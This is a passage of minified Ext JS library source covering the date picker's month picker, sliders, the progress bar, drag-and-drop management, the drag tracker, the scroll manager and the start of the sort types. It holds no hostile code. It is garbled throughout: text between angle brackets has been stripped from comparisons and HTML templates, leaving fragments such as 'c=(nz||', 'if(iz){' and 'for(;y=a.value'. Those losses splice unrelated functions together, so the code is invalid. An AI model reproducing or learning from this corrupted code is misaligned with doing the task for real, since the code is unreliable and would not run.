");this.monthPicker.update(a.join(""));this.mon(this.monthPicker,"click",this.onMonthClick,this);this.mon(this.monthPicker,"dblclick",this.onMonthDblClick,this);this.mpMonths=this.monthPicker.select("td.x-date-mp-month");this.mpYears=this.monthPicker.select("td.x-date-mp-year");this.mpMonths.each(function(c,d,e){e+=1;if((e%2)===0){c.dom.xmonth=5+Math.round(e*0.5)}else{c.dom.xmonth=Math.round((e-1)*0.5)}})}},showMonthPicker:function(){if(!this.disabled){this.createMonthPicker();var a=this.el.getSize();this.monthPicker.setSize(a);this.monthPicker.child("table").setSize(a);this.mpSelMonth=(this.activeDate||this.value).getMonth();this.updateMPMonth(this.mpSelMonth);this.mpSelYear=(this.activeDate||this.value).getFullYear();this.updateMPYear(this.mpSelYear);this.monthPicker.slideIn("t",{duration:0.2})}},updateMPYear:function(e){this.mpyear=e;var c=this.mpYears.elements;for(var b=1;b<=10;b++){var d=c[b-1],a;if((b%2)===0){a=e+Math.round(b*0.5);d.firstChild.innerHTML=a;d.xyear=a}else{a=e-(5-Math.round(b*0.5));d.firstChild.innerHTML=a;d.xyear=a}this.mpYears.item(b-1)[a==this.mpSelYear?"addClass":"removeClass"]("x-date-mp-sel")}},updateMPMonth:function(a){this.mpMonths.each(function(b,c,d){b[b.dom.xmonth==a?"addClass":"removeClass"]("x-date-mp-sel")})},selectMPMonth:function(a){},onMonthClick:function(g,b){g.stopEvent();var c=new Ext.Element(b),a;if(c.is("button.x-date-mp-cancel")){this.hideMonthPicker()}else{if(c.is("button.x-date-mp-ok")){var h=new Date(this.mpSelYear,this.mpSelMonth,(this.activeDate||this.value).getDate());if(h.getMonth()!=this.mpSelMonth){h=new Date(this.mpSelYear,this.mpSelMonth,1).getLastDateOfMonth()}this.update(h);this.hideMonthPicker()}else{if((a=c.up("td.x-date-mp-month",2))){this.mpMonths.removeClass("x-date-mp-sel");a.addClass("x-date-mp-sel");this.mpSelMonth=a.dom.xmonth}else{if((a=c.up("td.x-date-mp-year",2))){this.mpYears.removeClass("x-date-mp-sel");a.addClass("x-date-mp-sel");this.mpSelYear=a.dom.xyear}else{if(c.is("a.x-date-mp-prev")){this.updateMPYear(this.mpyear-10)}else{if(c.is("a.x-date-mp-next")){this.updateMPYear(this.mpyear+10)}}}}}}},onMonthDblClick:function(d,b){d.stopEvent();var c=new Ext.Element(b),a;if((a=c.up("td.x-date-mp-month",2))){this.update(new Date(this.mpSelYear,a.dom.xmonth,(this.activeDate||this.value).getDate()));this.hideMonthPicker()}else{if((a=c.up("td.x-date-mp-year",2))){this.update(new Date(a.dom.xyear,this.mpSelMonth,(this.activeDate||this.value).getDate()));this.hideMonthPicker()}}},hideMonthPicker:function(a){if(this.monthPicker){if(a===true){this.monthPicker.hide()}else{this.monthPicker.slideOut("t",{duration:0.2})}}},showPrevMonth:function(a){this.update(this.activeDate.add("mo",-1))},showNextMonth:function(a){this.update(this.activeDate.add("mo",1))},showPrevYear:function(){this.update(this.activeDate.add("y",-1))},showNextYear:function(){this.update(this.activeDate.add("y",1))},handleMouseWheel:function(a){a.stopEvent();if(!this.disabled){var b=a.getWheelDelta();if(b>0){this.showPrevMonth()}else{if(b<0){this.showNextMonth()}}}},handleDateClick:function(b,a){b.stopEvent();if(!this.disabled&&a.dateValue&&!Ext.fly(a.parentNode).hasClass("x-date-disabled")){this.cancelFocus=this.focusOnSelect===false;this.setValue(new Date(a.dateValue));delete this.cancelFocus;this.fireEvent("select",this,this.value)}},selectToday:function(){if(this.todayBtn&&!this.todayBtn.disabled){this.setValue(new Date().clearTime());this.fireEvent("select",this,this.value)}},update:function(H,B){if(this.rendered){var a=this.activeDate,q=this.isVisible();this.activeDate=H;if(!B&&a&&this.el){var p=H.getTime();if(a.getMonth()==H.getMonth()&&a.getFullYear()==H.getFullYear()){this.cells.removeClass("x-date-selected");this.cells.each(function(d){if(d.dom.firstChild.dateValue==p){d.addClass("x-date-selected");if(q&&!this.cancelFocus){Ext.fly(d.dom.firstChild).focus(50)}return false}},this);return}}var l=H.getDaysInMonth(),r=H.getFirstDateOfMonth(),g=r.getDay()-this.startDay;if(g<0){g+=7}l+=g;var C=H.add("mo",-1),h=C.getDaysInMonth()-g,e=this.cells.elements,s=this.textNodes,E=(new Date(C.getFullYear(),C.getMonth(),h,this.initHour)),D=new Date().clearTime().getTime(),x=H.clearTime(true).getTime(),v=this.minDate?this.minDate.clearTime(true):Number.NEGATIVE_INFINITY,z=this.maxDate?this.maxDate.clearTime(true):Number.POSITIVE_INFINITY,G=this.disabledDatesRE,u=this.disabledDatesText,J=this.disabledDays?this.disabledDays.join(""):false,F=this.disabledDaysText,A=this.format;if(this.showToday){var n=new Date().clearTime(),c=(nz||(G&&A&&G.test(n.dateFormat(A)))||(J&&J.indexOf(n.getDay())!=-1));if(!this.disabled){this.todayBtn.setDisabled(c);this.todayKeyListener[c?"disable":"enable"]()}}var m=function(K,d){d.title="";var i=E.clearTime(true).getTime();d.firstChild.dateValue=i;if(i==D){d.className+=" x-date-today";d.title=K.todayText}if(i==x){d.className+=" x-date-selected";if(q){Ext.fly(d.firstChild).focus(50)}}if(iz){d.className=" x-date-disabled";d.title=K.maxText;return}if(J){if(J.indexOf(E.getDay())!=-1){d.title=F;d.className=" x-date-disabled"}}if(G&&A){var w=E.dateFormat(A);if(G.test(w)){d.title=u.replace("%0",w);d.className=" x-date-disabled"}}};var y=0;for(;y=a.value){d=a.value}}c.setValue(b,d,false);c.fireEvent("drag",c,g,this)},getNewValue:function(){var a=this.slider,b=a.innerEl.translatePoints(this.tracker.getXY());return Ext.util.Format.round(a.reverseValue(b.left),a.decimalPrecision)},onDragEnd:function(c){var a=this.slider,b=this.value;this.el.removeClass("x-slider-thumb-drag");this.dragging=false;a.fireEvent("dragend",a,c);if(this.dragStartValue!=b){a.fireEvent("changecomplete",a,b,this)}},destroy:function(){Ext.destroyMembers(this,"tracker","el")}});Ext.slider.MultiSlider=Ext.extend(Ext.BoxComponent,{vertical:false,minValue:0,maxValue:100,decimalPrecision:0,keyIncrement:1,increment:0,clickRange:[5,15],clickToChange:true,animate:true,constrainThumbs:true,topThumbZIndex:10000,initComponent:function(){if(!Ext.isDefined(this.value)){this.value=this.minValue}this.thumbs=[];Ext.slider.MultiSlider.superclass.initComponent.call(this);this.keyIncrement=Math.max(this.increment,this.keyIncrement);this.addEvents("beforechange","change","changecomplete","dragstart","drag","dragend");if(this.values==undefined||Ext.isEmpty(this.values)){this.values=[0]}var a=this.values;for(var b=0;bthis.clickRange[0]&&c.top=c){d+=c}else{if(a*2<-c){d-=c}}}return d.constrain(this.minValue,this.maxValue)},afterRender:function(){Ext.slider.MultiSlider.superclass.afterRender.apply(this,arguments);for(var c=0;ce?e:c.value}this.syncThumb()},setValue:function(d,c,b,g){var a=this.thumbs[d],e=a.el;c=this.normalizeValue(c);if(c!==a.value&&this.fireEvent("beforechange",this,c,a.value,a)!==false){a.value=c;if(this.rendered){this.moveThumb(d,this.translateValue(c),b!==false);this.fireEvent("change",this,c,a);if(g){this.fireEvent("changecomplete",this,c,a)}}}},translateValue:function(a){var b=this.getRatio();return(a*b)-(this.minValue*b)-this.halfThumb},reverseValue:function(b){var a=this.getRatio();return(b+(this.minValue*a))/a},moveThumb:function(d,c,b){var a=this.thumbs[d].el;if(!b||this.animate===false){a.setLeft(c)}else{a.shift({left:c,stopFx:true,duration:0.35})}},focus:function(){this.focusEl.focus(10)},onResize:function(c,e){var b=this.thumbs,a=b.length,d=0;for(;dthis.clickRange[0]&&c.left','
','
','
',"
 
","
","
",'
',"
 
","
","
","");this.el=a?c.insertBefore(a,{cls:this.baseCls},true):c.append(d,{cls:this.baseCls},true);if(this.id){this.el.dom.id=this.id}var b=this.el.dom.firstChild;this.progressBar=Ext.get(b.firstChild);if(this.textEl){this.textEl=Ext.get(this.textEl);delete this.textTopEl}else{this.textTopEl=Ext.get(this.progressBar.dom.firstChild);var e=Ext.get(b.childNodes[1]);this.textTopEl.setStyle("z-index",99).addClass("x-hidden");this.textEl=new Ext.CompositeElement([this.textTopEl.dom.firstChild,e.dom.firstChild]);this.textEl.setWidth(b.offsetWidth)}this.progressBar.setHeight(b.offsetHeight)},afterRender:function(){Ext.ProgressBar.superclass.afterRender.call(this);if(this.value){this.updateProgress(this.value,this.text)}else{this.updateText(this.text)}},updateProgress:function(c,d,b){this.value=c||0;if(d){this.updateText(d)}if(this.rendered&&!this.isDestroyed){var a=Math.floor(c*this.el.dom.firstChild.offsetWidth);this.progressBar.setWidth(a,b===true||(b!==false&&this.animate));if(this.textTopEl){this.textTopEl.removeClass("x-hidden").setWidth(a)}}this.fireEvent("update",this,c,d);return this},wait:function(b){if(!this.waitTimer){var a=this;b=b||{};this.updateText(b.text);this.waitTimer=Ext.TaskMgr.start({run:function(c){var d=b.increment||10;c-=1;this.updateProgress(((((c+d)%d)+1)*(100/d))*0.01,null,b.animate)},interval:b.interval||1000,duration:b.duration,onStop:function(){if(b.fn){b.fn.apply(b.scope||this)}this.reset()},scope:a})}return this},isWaiting:function(){return this.waitTimer!==null},updateText:function(a){this.text=a||" ";if(this.rendered){this.textEl.update(this.text)}return this},syncProgressBar:function(){if(this.value){this.updateProgress(this.value,this.text)}return this},setSize:function(a,c){Ext.ProgressBar.superclass.setSize.call(this,a,c);if(this.textTopEl){var b=this.el.dom.firstChild;this.textEl.setSize(b.offsetWidth,b.offsetHeight)}this.syncProgressBar();return this},reset:function(a){this.updateProgress(0);if(this.textTopEl){this.textTopEl.addClass("x-hidden")}this.clearTimer();if(a===true){this.hide()}return this},clearTimer:function(){if(this.waitTimer){this.waitTimer.onStop=null;Ext.TaskMgr.stop(this.waitTimer);this.waitTimer=null}},onDestroy:function(){this.clearTimer();if(this.rendered){if(this.textEl.isComposite){this.textEl.clear()}Ext.destroyMembers(this,"textEl","progressBar","textTopEl")}Ext.ProgressBar.superclass.onDestroy.call(this)}});Ext.reg("progress",Ext.ProgressBar);(function(){var a=Ext.EventManager;var b=Ext.lib.Dom;Ext.dd.DragDrop=function(e,c,d){if(e){this.init(e,c,d)}};Ext.dd.DragDrop.prototype={id:null,config:null,dragElId:null,handleElId:null,invalidHandleTypes:null,invalidHandleIds:null,invalidHandleClasses:null,startPageX:0,startPageY:0,groups:null,locked:false,lock:function(){this.locked=true},moveOnly:false,unlock:function(){this.locked=false},isTarget:true,padding:null,_domRef:null,__ygDragDrop:true,constrainX:false,constrainY:false,minX:0,maxX:0,minY:0,maxY:0,maintainOffset:false,xTicks:null,yTicks:null,primaryButtonOnly:true,available:false,hasOuterHandles:false,b4StartDrag:function(c,d){},startDrag:function(c,d){},b4Drag:function(c){},onDrag:function(c){},onDragEnter:function(c,d){},b4DragOver:function(c){},onDragOver:function(c,d){},b4DragOut:function(c){},onDragOut:function(c,d){},b4DragDrop:function(c){},onDragDrop:function(c,d){},onInvalidDrop:function(c){},b4EndDrag:function(c){},endDrag:function(c){},b4MouseDown:function(c){},onMouseDown:function(c){},onMouseUp:function(c){},onAvailable:function(){},defaultPadding:{left:0,right:0,top:0,bottom:0},constrainTo:function(k,h,p){if(Ext.isNumber(h)){h={left:h,right:h,top:h,bottom:h}}h=h||this.defaultPadding;var m=Ext.get(this.getEl()).getBox(),d=Ext.get(k),o=d.getScroll(),l,e=d.dom;if(e==document.body){l={x:o.left,y:o.top,width:Ext.lib.Dom.getViewWidth(),height:Ext.lib.Dom.getViewHeight()}}else{var n=d.getXY();l={x:n[0],y:n[1],width:e.clientWidth,height:e.clientHeight}}var i=m.y-l.y,g=m.x-l.x;this.resetConstraints();this.setXConstraint(g-(h.left||0),l.width-g-m.width-(h.right||0),this.xTickSize);this.setYConstraint(i-(h.top||0),l.height-i-m.height-(h.bottom||0),this.yTickSize)},getEl:function(){if(!this._domRef){this._domRef=Ext.getDom(this.id)}return this._domRef},getDragEl:function(){return Ext.getDom(this.dragElId)},init:function(e,c,d){this.initTarget(e,c,d);a.on(this.id,"mousedown",this.handleMouseDown,this)},initTarget:function(e,c,d){this.config=d||{};this.DDM=Ext.dd.DDM;this.groups={};if(typeof e!=="string"){e=Ext.id(e)}this.id=e;this.addToGroup((c)?c:"default");this.handleElId=e;this.setDragElId(e);this.invalidHandleTypes={A:"A"};this.invalidHandleIds={};this.invalidHandleClasses=[];this.applyConfig();this.handleOnAvailable()},applyConfig:function(){this.padding=this.config.padding||[0,0,0,0];this.isTarget=(this.config.isTarget!==false);this.maintainOffset=(this.config.maintainOffset);this.primaryButtonOnly=(this.config.primaryButtonOnly!==false)},handleOnAvailable:function(){this.available=true;this.resetConstraints();this.onAvailable()},setPadding:function(e,c,g,d){if(!c&&0!==c){this.padding=[e,e,e,e]}else{if(!g&&0!==g){this.padding=[e,c,e,c]}else{this.padding=[e,c,g,d]}}},setInitPosition:function(g,e){var h=this.getEl();if(!this.DDM.verifyEl(h)){return}var d=g||0;var c=e||0;var i=b.getXY(h);this.initPageX=i[0]-d;this.initPageY=i[1]-c;this.lastPageX=i[0];this.lastPageY=i[1];this.setStartPosition(i)},setStartPosition:function(d){var c=d||b.getXY(this.getEl());this.deltaSetXY=null;this.startPageX=c[0];this.startPageY=c[1]},addToGroup:function(c){this.groups[c]=true;this.DDM.regDragDrop(this,c)},removeFromGroup:function(c){if(this.groups[c]){delete this.groups[c]}this.DDM.removeDDFromGroup(this,c)},setDragElId:function(c){this.dragElId=c},setHandleElId:function(c){if(typeof c!=="string"){c=Ext.id(c)}this.handleElId=c;this.DDM.regHandle(this.id,c)},setOuterHandleElId:function(c){if(typeof c!=="string"){c=Ext.id(c)}a.on(c,"mousedown",this.handleMouseDown,this);this.setHandleElId(c);this.hasOuterHandles=true},unreg:function(){a.un(this.id,"mousedown",this.handleMouseDown);this._domRef=null;this.DDM._remove(this)},destroy:function(){this.unreg()},isLocked:function(){return(this.DDM.isLocked()||this.locked)},handleMouseDown:function(g,d){if(this.primaryButtonOnly&&g.button!=0){return}if(this.isLocked()){return}this.DDM.refreshCache(this.groups);var c=new Ext.lib.Point(Ext.lib.Event.getPageX(g),Ext.lib.Event.getPageY(g));if(!this.hasOuterHandles&&!this.DDM.isOverTarget(c,this)){}else{if(this.clickValidator(g)){this.setStartPosition();this.b4MouseDown(g);this.onMouseDown(g);this.DDM.handleMouseDown(g,this);this.DDM.stopEvent(g)}else{}}},clickValidator:function(d){var c=d.getTarget();return(this.isValidHandleChild(c)&&(this.id==this.handleElId||this.DDM.handleWasClicked(c,this.id)))},addInvalidHandleType:function(c){var d=c.toUpperCase();this.invalidHandleTypes[d]=d},addInvalidHandleId:function(c){if(typeof c!=="string"){c=Ext.id(c)}this.invalidHandleIds[c]=c},addInvalidHandleClass:function(c){this.invalidHandleClasses.push(c)},removeInvalidHandleType:function(c){var d=c.toUpperCase();delete this.invalidHandleTypes[d]},removeInvalidHandleId:function(c){if(typeof c!=="string"){c=Ext.id(c)}delete this.invalidHandleIds[c]},removeInvalidHandleClass:function(d){for(var e=0,c=this.invalidHandleClasses.length;e=this.minX;d=d-c){if(!e[d]){this.xTicks[this.xTicks.length]=d;e[d]=true}}for(d=this.initPageX;d<=this.maxX;d=d+c){if(!e[d]){this.xTicks[this.xTicks.length]=d;e[d]=true}}this.xTicks.sort(this.DDM.numericSort)},setYTicks:function(g,c){this.yTicks=[];this.yTickSize=c;var e={};for(var d=this.initPageY;d>=this.minY;d=d-c){if(!e[d]){this.yTicks[this.yTicks.length]=d;e[d]=true}}for(d=this.initPageY;d<=this.maxY;d=d+c){if(!e[d]){this.yTicks[this.yTicks.length]=d;e[d]=true}}this.yTicks.sort(this.DDM.numericSort)},setXConstraint:function(e,d,c){this.leftConstraint=e;this.rightConstraint=d;this.minX=this.initPageX-e;this.maxX=this.initPageX+d;if(c){this.setXTicks(this.initPageX,c)}this.constrainX=true},clearConstraints:function(){this.constrainX=false;this.constrainY=false;this.clearTicks()},clearTicks:function(){this.xTicks=null;this.yTicks=null;this.xTickSize=0;this.yTickSize=0},setYConstraint:function(c,e,d){this.topConstraint=c;this.bottomConstraint=e;this.minY=this.initPageY-c;this.maxY=this.initPageY+e;if(d){this.setYTicks(this.initPageY,d)}this.constrainY=true},resetConstraints:function(){if(this.initPageX||this.initPageX===0){var d=(this.maintainOffset)?this.lastPageX-this.initPageX:0;var c=(this.maintainOffset)?this.lastPageY-this.initPageY:0;this.setInitPosition(d,c)}else{this.setInitPosition()}if(this.constrainX){this.setXConstraint(this.leftConstraint,this.rightConstraint,this.xTickSize)}if(this.constrainY){this.setYConstraint(this.topConstraint,this.bottomConstraint,this.yTickSize)}},getTick:function(l,g){if(!g){return l}else{if(g[0]>=l){return g[0]}else{for(var d=0,c=g.length;d=l){var k=l-g[d];var h=g[e]-l;return(h>k)?g[d]:g[e]}}return g[g.length-1]}}},toString:function(){return("DragDrop "+this.id)}}})();if(!Ext.dd.DragDropMgr){Ext.dd.DragDropMgr=function(){var a=Ext.EventManager;return{ids:{},handleIds:{},dragCurrent:null,dragOvers:{},deltaX:0,deltaY:0,preventDefault:true,stopPropagation:true,initialized:false,locked:false,init:function(){this.initialized=true},POINT:0,INTERSECT:1,mode:0,_execOnAll:function(d,c){for(var e in this.ids){for(var b in this.ids[e]){var g=this.ids[e][b];if(!this.isTypeOfDD(g)){continue}g[d].apply(g,c)}}},_onLoad:function(){this.init();a.on(document,"mouseup",this.handleMouseUp,this,true);a.on(document,"mousemove",this.handleMouseMove,this,true);a.on(window,"unload",this._onUnload,this,true);a.on(window,"resize",this._onResize,this,true)},_onResize:function(b){this._execOnAll("resetConstraints",[])},lock:function(){this.locked=true},unlock:function(){this.locked=false},isLocked:function(){return this.locked},locationCache:{},useCache:true,clickPixelThresh:3,clickTimeThresh:350,dragThreshMet:false,clickTimeout:null,startX:0,startY:0,regDragDrop:function(c,b){if(!this.initialized){this.init()}if(!this.ids[b]){this.ids[b]={}}this.ids[b][c.id]=c},removeDDFromGroup:function(d,b){if(!this.ids[b]){this.ids[b]={}}var c=this.ids[b];if(c&&c[d.id]){delete c[d.id]}},_remove:function(c){for(var b in c.groups){if(b&&this.ids[b]&&this.ids[b][c.id]){delete this.ids[b][c.id]}}delete this.handleIds[c.id]},regHandle:function(c,b){if(!this.handleIds[c]){this.handleIds[c]={}}this.handleIds[c][b]=b},isDragDrop:function(b){return(this.getDDById(b))?true:false},getRelated:function(h,c){var g=[];for(var e in h.groups){for(var d in this.ids[e]){var b=this.ids[e][d];if(!this.isTypeOfDD(b)){continue}if(!c||b.isTarget){g[g.length]=b}}}return g},isLegalTarget:function(g,e){var c=this.getRelated(g,true);for(var d=0,b=c.length;dthis.clickPixelThresh||b>this.clickPixelThresh){this.startDrag(this.startX,this.startY)}}if(this.dragThreshMet){this.dragCurrent.b4Drag(d);this.dragCurrent.onDrag(d);if(!this.dragCurrent.moveOnly){this.fireEvents(d,false)}}this.stopEvent(d);return true},fireEvents:function(o,p){var r=this.dragCurrent;if(!r||r.isLocked()){return}var s=o.getPoint();var b=[];var g=[];var m=[];var k=[];var d=[];for(var h in this.dragOvers){var c=this.dragOvers[h];if(!this.isTypeOfDD(c)){continue}if(!this.isOverTarget(s,c,this.mode)){g.push(c)}b[h]=true;delete this.dragOvers[h]}for(var q in r.groups){if("string"!=typeof q){continue}for(h in this.ids[q]){var l=this.ids[q][h];if(!this.isTypeOfDD(l)){continue}if(l.isTarget&&!l.isLocked()&&((l!=r)||(r.ignoreSelf===false))){if(this.isOverTarget(s,l,this.mode)){if(p){k.push(l)}else{if(!b[l.id]){d.push(l)}else{m.push(l)}this.dragOvers[l.id]=l}}}}}if(this.mode){if(g.length){r.b4DragOut(o,g);r.onDragOut(o,g)}if(d.length){r.onDragEnter(o,d)}if(m.length){r.b4DragOver(o,m);r.onDragOver(o,m)}if(k.length){r.b4DragDrop(o,k);r.onDragDrop(o,k)}}else{var n=0;for(h=0,n=g.length;h2000){}else{setTimeout(b._addListeners,10);if(document&&document.body){b._timeoutCount+=1}}}},handleWasClicked:function(b,d){if(this.isHandle(d,b.id)){return true}else{var c=b.parentNode;while(c){if(this.isHandle(d,c.id)){return true}else{c=c.parentNode}}}return false}}}();Ext.dd.DDM=Ext.dd.DragDropMgr;Ext.dd.DDM._addListeners()}Ext.dd.DD=function(c,a,b){if(c){this.init(c,a,b)}};Ext.extend(Ext.dd.DD,Ext.dd.DragDrop,{scroll:true,autoOffset:function(c,b){var a=c-this.startPageX;var d=b-this.startPageY;this.setDelta(a,d)},setDelta:function(b,a){this.deltaX=b;this.deltaY=a},setDragElPos:function(c,b){var a=this.getDragEl();this.alignElWithMouse(a,c,b)},alignElWithMouse:function(c,h,g){var e=this.getTargetCoord(h,g);var b=c.dom?c:Ext.fly(c,"_dd");if(!this.deltaSetXY){var i=[e.x,e.y];b.setXY(i);var d=b.getLeft(true);var a=b.getTop(true);this.deltaSetXY=[d-e.x,a-e.y]}else{b.setLeftTop(e.x+this.deltaSetXY[0],e.y+this.deltaSetXY[1])}this.cachePosition(e.x,e.y);this.autoScroll(e.x,e.y,c.offsetHeight,c.offsetWidth);return e},cachePosition:function(b,a){if(b){this.lastPageX=b;this.lastPageY=a}else{var c=Ext.lib.Dom.getXY(this.getEl());this.lastPageX=c[0];this.lastPageY=c[1]}},autoScroll:function(m,l,e,n){if(this.scroll){var o=Ext.lib.Dom.getViewHeight();var b=Ext.lib.Dom.getViewWidth();var q=this.DDM.getScrollTop();var d=this.DDM.getScrollLeft();var k=e+l;var p=n+m;var i=(o+q-l-this.deltaY);var g=(b+d-m-this.deltaX);var c=40;var a=(document.all)?80:30;if(k>o&&i0&&l-qb&&g0&&m-dthis.maxX){a=this.maxX}}if(this.constrainY){if(dthis.maxY){d=this.maxY}}a=this.getTick(a,this.xTicks);d=this.getTick(d,this.yTicks);return{x:a,y:d}},applyConfig:function(){Ext.dd.DD.superclass.applyConfig.call(this);this.scroll=(this.config.scroll!==false)},b4MouseDown:function(a){this.autoOffset(a.getPageX(),a.getPageY())},b4Drag:function(a){this.setDragElPos(a.getPageX(),a.getPageY())},toString:function(){return("DD "+this.id)}});Ext.dd.DDProxy=function(c,a,b){if(c){this.init(c,a,b);this.initFrame()}};Ext.dd.DDProxy.dragElId="ygddfdiv";Ext.extend(Ext.dd.DDProxy,Ext.dd.DD,{resizeFrame:true,centerFrame:false,createFrame:function(){var b=this;var a=document.body;if(!a||!a.firstChild){setTimeout(function(){b.createFrame()},50);return}var d=this.getDragEl();if(!d){d=document.createElement("div");d.id=this.dragElId;var c=d.style;c.position="absolute";c.visibility="hidden";c.cursor="move";c.border="2px solid #aaa";c.zIndex=999;a.insertBefore(d,a.firstChild)}},initFrame:function(){this.createFrame()},applyConfig:function(){Ext.dd.DDProxy.superclass.applyConfig.call(this);this.resizeFrame=(this.config.resizeFrame!==false);this.centerFrame=(this.config.centerFrame);this.setDragElId(this.config.dragElId||Ext.dd.DDProxy.dragElId)},showFrame:function(e,d){var c=this.getEl();var a=this.getDragEl();var b=a.style;this._resizeProxy();if(this.centerFrame){this.setDelta(Math.round(parseInt(b.width,10)/2),Math.round(parseInt(b.height,10)/2))}this.setDragElPos(e,d);Ext.fly(a).show()},_resizeProxy:function(){if(this.resizeFrame){var a=this.getEl();Ext.fly(this.getDragEl()).setSize(a.offsetWidth,a.offsetHeight)}},b4MouseDown:function(b){var a=b.getPageX();var c=b.getPageY();this.autoOffset(a,c);this.setDragElPos(a,c)},b4StartDrag:function(a,b){this.showFrame(a,b)},b4EndDrag:function(a){Ext.fly(this.getDragEl()).hide()},endDrag:function(c){var b=this.getEl();var a=this.getDragEl();a.style.visibility="";this.beforeMove();b.style.visibility="hidden";Ext.dd.DDM.moveToEl(b,a);a.style.visibility="hidden";b.style.visibility="";this.afterDrag()},beforeMove:function(){},afterDrag:function(){},toString:function(){return("DDProxy "+this.id)}});Ext.dd.DDTarget=function(c,a,b){if(c){this.initTarget(c,a,b)}};Ext.extend(Ext.dd.DDTarget,Ext.dd.DragDrop,{getDragEl:Ext.emptyFn,isValidHandleChild:Ext.emptyFn,startDrag:Ext.emptyFn,endDrag:Ext.emptyFn,onDrag:Ext.emptyFn,onDragDrop:Ext.emptyFn,onDragEnter:Ext.emptyFn,onDragOut:Ext.emptyFn,onDragOver:Ext.emptyFn,onInvalidDrop:Ext.emptyFn,onMouseDown:Ext.emptyFn,onMouseUp:Ext.emptyFn,setXConstraint:Ext.emptyFn,setYConstraint:Ext.emptyFn,resetConstraints:Ext.emptyFn,clearConstraints:Ext.emptyFn,clearTicks:Ext.emptyFn,setInitPosition:Ext.emptyFn,setDragElId:Ext.emptyFn,setHandleElId:Ext.emptyFn,setOuterHandleElId:Ext.emptyFn,addInvalidHandleClass:Ext.emptyFn,addInvalidHandleId:Ext.emptyFn,addInvalidHandleType:Ext.emptyFn,removeInvalidHandleClass:Ext.emptyFn,removeInvalidHandleId:Ext.emptyFn,removeInvalidHandleType:Ext.emptyFn,toString:function(){return("DDTarget "+this.id)}});Ext.dd.DragTracker=Ext.extend(Ext.util.Observable,{active:false,tolerance:5,autoStart:false,constructor:function(a){Ext.apply(this,a);this.addEvents("mousedown","mouseup","mousemove","dragstart","dragend","drag");this.dragRegion=new Ext.lib.Region(0,0,0,0);if(this.el){this.initEl(this.el)}Ext.dd.DragTracker.superclass.constructor.call(this,a)},initEl:function(a){this.el=Ext.get(a);a.on("mousedown",this.onMouseDown,this,this.delegate?{delegate:this.delegate}:undefined)},destroy:function(){this.el.un("mousedown",this.onMouseDown,this);delete this.el},onMouseDown:function(b,a){if(this.fireEvent("mousedown",this,b)!==false&&this.onBeforeStart(b)!==false){this.startXY=this.lastXY=b.getXY();this.dragTarget=this.delegate?a:this.el.dom;if(this.preventDefault!==false){b.preventDefault()}Ext.getDoc().on({scope:this,mouseup:this.onMouseUp,mousemove:this.onMouseMove,selectstart:this.stopSelect});if(this.autoStart){this.timer=this.triggerStart.defer(this.autoStart===true?1000:this.autoStart,this,[b])}}},onMouseMove:function(d,c){if(this.active&&Ext.isIE&&!d.browserEvent.button){d.preventDefault();this.onMouseUp(d);return}d.preventDefault();var b=d.getXY(),a=this.startXY;this.lastXY=b;if(!this.active){if(Math.abs(a[0]-b[0])>this.tolerance||Math.abs(a[1]-b[1])>this.tolerance){this.triggerStart(d)}else{return}}this.fireEvent("mousemove",this,d);this.onDrag(d);this.fireEvent("drag",this,d)},onMouseUp:function(c){var b=Ext.getDoc(),a=this.active;b.un("mousemove",this.onMouseMove,this);b.un("mouseup",this.onMouseUp,this);b.un("selectstart",this.stopSelect,this);c.preventDefault();this.clearStart();this.active=false;delete this.elRegion;this.fireEvent("mouseup",this,c);if(a){this.onEnd(c);this.fireEvent("dragend",this,c)}},triggerStart:function(a){this.clearStart();this.active=true;this.onStart(a);this.fireEvent("dragstart",this,a)},clearStart:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},stopSelect:function(a){a.stopEvent();return false},onBeforeStart:function(a){},onStart:function(a){},onDrag:function(a){},onEnd:function(a){},getDragTarget:function(){return this.dragTarget},getDragCt:function(){return this.el},getXY:function(a){return a?this.constrainModes[a].call(this,this.lastXY):this.lastXY},getOffset:function(c){var b=this.getXY(c),a=this.startXY;return[a[0]-b[0],a[1]-b[1]]},constrainModes:{point:function(b){if(!this.elRegion){this.elRegion=this.getDragCt().getRegion()}var a=this.dragRegion;a.left=b[0];a.top=b[1];a.right=b[0];a.bottom=b[1];a.constrainTo(this.elRegion);return[a.left,a.top]}}});Ext.dd.ScrollManager=function(){var c=Ext.dd.DragDropMgr;var e={};var b=null;var i={};var h=function(m){b=null;a()};var k=function(){if(c.dragCurrent){c.refreshCache(c.dragCurrent.groups)}};var d=function(){if(c.dragCurrent){var m=Ext.dd.ScrollManager;var n=i.el.ddScrollConfig?i.el.ddScrollConfig.increment:m.increment;if(!m.animate){if(i.el.scroll(i.dir,n)){k()}}else{i.el.scroll(i.dir,n,true,m.animDuration,k)}}};var a=function(){if(i.id){clearInterval(i.id)}i.id=0;i.el=null;i.dir=""};var g=function(n,m){a();i.el=n;i.dir=m;var p=n.ddScrollConfig?n.ddScrollConfig.ddGroup:undefined,o=(n.ddScrollConfig&&n.ddScrollConfig.frequency)?n.ddScrollConfig.frequency:Ext.dd.ScrollManager.frequency;if(p===undefined||c.dragCurrent.ddGroup==p){i.id=setInterval(d,o)}};var l=function(p,s){if(s||!c.dragCurrent){return}var t=Ext.dd.ScrollManager;if(!b||b!=c.dragCurrent){b=c.dragCurrent;t.refreshCache()}var u=Ext.lib.Event.getXY(p);var v=new Ext.lib.Point(u[0],u[1]);for(var n in e){var o=e[n],m=o._region;var q=o.ddScrollConfig?o.ddScrollConfig:t;if(m&&m.contains(v)&&o.isScrollable()){if(m.bottom-v.y<=q.vthresh){if(i.el!=o){g(o,"down")}return}else{if(m.right-v.x<=q.hthresh){if(i.el!=o){g(o,"left")}return}else{if(v.y-m.top<=q.vthresh){if(i.el!=o){g(o,"up")}return}else{if(v.x-m.left<=q.hthresh){if(i.el!=o){g(o,"right")}return}}}}}}a()};c.fireEvents=c.fireEvents.createSequence(l,c);c.stopDrag=c.stopDrag.createSequence(h,c);return{register:function(o){if(Ext.isArray(o)){for(var n=0,m=o.length;n]+>/gi,asText:function(a){return String(a).replace(this.stripTagsRE,"")},asUCText:function(a){return String(a).toUpperCase().replace(this.stripTagsRE,"")},asUCString:function(a){return String(a).toUpperCase()},asDate:function(a){if(!a){return 0}if(Ext.isDate(a)){return a.getTime()}return Date.parse(String(a))},asFloat:function(a){var b=parseFloat(String(a).replace(/,/g,""));return isNaN(b)?0:b},asInt:function(a){var b=parseInt(String(a).replace(/,/g,""),10);return 